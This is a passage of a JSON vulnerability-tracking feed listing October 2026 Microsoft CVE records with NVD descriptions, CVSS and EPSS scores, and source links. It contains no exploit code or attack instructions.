score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70256","cveId":"CVE-2026-70256","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:44.007Z","updatedAt":"2026-10-15T16:18:59.787Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70256","asOf":"2026-10-15T16:18:59.787Z"},"epss":{"probability":0.00912,"percentile":0.59766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70256","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70256","type":"primary","publishedAt":"2026-10-13T19:19:44.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70256","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70254","cveId":"CVE-2026-70254","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:43.687Z","updatedAt":"2026-10-15T21:17:43.400Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70254","asOf":"2026-10-15T21:17:43.400Z"},"epss":{"probability":0.00893,"percentile":0.59203,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70254&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70254","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70254","type":"primary","publishedAt":"2026-10-13T19:19:43.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70254","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70254&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70254, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70253","cveId":"CVE-2026-70253","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:43.390Z","updatedAt":"2026-10-22T12:18:23.357Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70253","asOf":"2026-10-22T12:18:23.357Z"},"epss":{"probability":0.00329,"percentile":0.25775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70253","type":"primary","publishedAt":"2026-10-13T19:19:43.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70253","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70251","cveId":"CVE-2026-70251","aliases":[],"kind":"vulnerability","title":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:42.697Z","updatedAt":"2026-10-14T19:44:55.087Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70251","asOf":"2026-10-14T19:44:55.087Z"},"epss":{"probability":0.00615,"percentile":0.49164,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70251","type":"primary","publishedAt":"2026-10-13T19:19:42.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70251","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70249","cveId":"CVE-2026-70249","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:42.263Z","updatedAt":"2026-10-22T12:19:45.350Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70249","asOf":"2026-10-22T12:19:45.350Z"},"epss":{"probability":0.00329,"percentile":0.25775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70249","type":"primary","publishedAt":"2026-10-13T19:19:42.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70249","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70246","cveId":"CVE-2026-70246","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:41.600Z","updatedAt":"2026-10-14T19:44:52.410Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70246","asOf":"2026-10-14T19:44:52.410Z"},"epss":{"probability":0.00865,"percentile":0.5839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70246","type":"primary","publishedAt":"2026-10-13T19:19:41.600Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70246","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70243","cveId":"CVE-2026-70243","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:41.120Z","updatedAt":"2026-10-22T12:20:35.203Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70243","asOf":"2026-10-22T12:20:35.203Z"},"epss":{"probability":0.003,"percentile":0.22443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70243","type":"primary","publishedAt":"2026-10-13T19:19:41.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70243","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70236","cveId":"CVE-2026-70236","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:40.260Z","updatedAt":"2026-10-22T12:22:26.970Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70236","asOf":"2026-10-22T12:22:26.970Z"},"epss":{"probability":0.00306,"percentile":0.23217,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70236","type":"primary","publishedAt":"2026-10-13T19:19:40.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70236","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70220","cveId":"CVE-2026-70220","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:36.897Z","updatedAt":"2026-10-15T21:17:40.663Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70220","asOf":"2026-10-15T21:17:40.663Z"},"epss":{"probability":0.00441,"percentile":0.38056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70220","type":"primary","publishedAt":"2026-10-13T19:19:36.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70220","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70215","cveId":"CVE-2026-70215","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:36.237Z","updatedAt":"2026-10-15T21:17:40.270Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70215","asOf":"2026-10-15T21:17:40.270Z"},"epss":{"probability":0.00929,"percentile":0.60316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70215","type":"primary","publishedAt":"2026-10-13T19:19:36.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70215","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70209","cveId":"CVE-2026-70209","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:35.150Z","updatedAt":"2026-10-22T12:25:51.197Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70209","asOf":"2026-10-22T12:25:51.197Z"},"epss":{"probability":0.003,"percentile":0.22443,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70209","type":"primary","publishedAt":"2026-10-13T19:19:35.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70209","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70202","cveId":"CVE-2026-70202","aliases":[],"kind":"vulnerability","title":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:34.370Z","updatedAt":"2026-10-14T19:44:47.503Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint 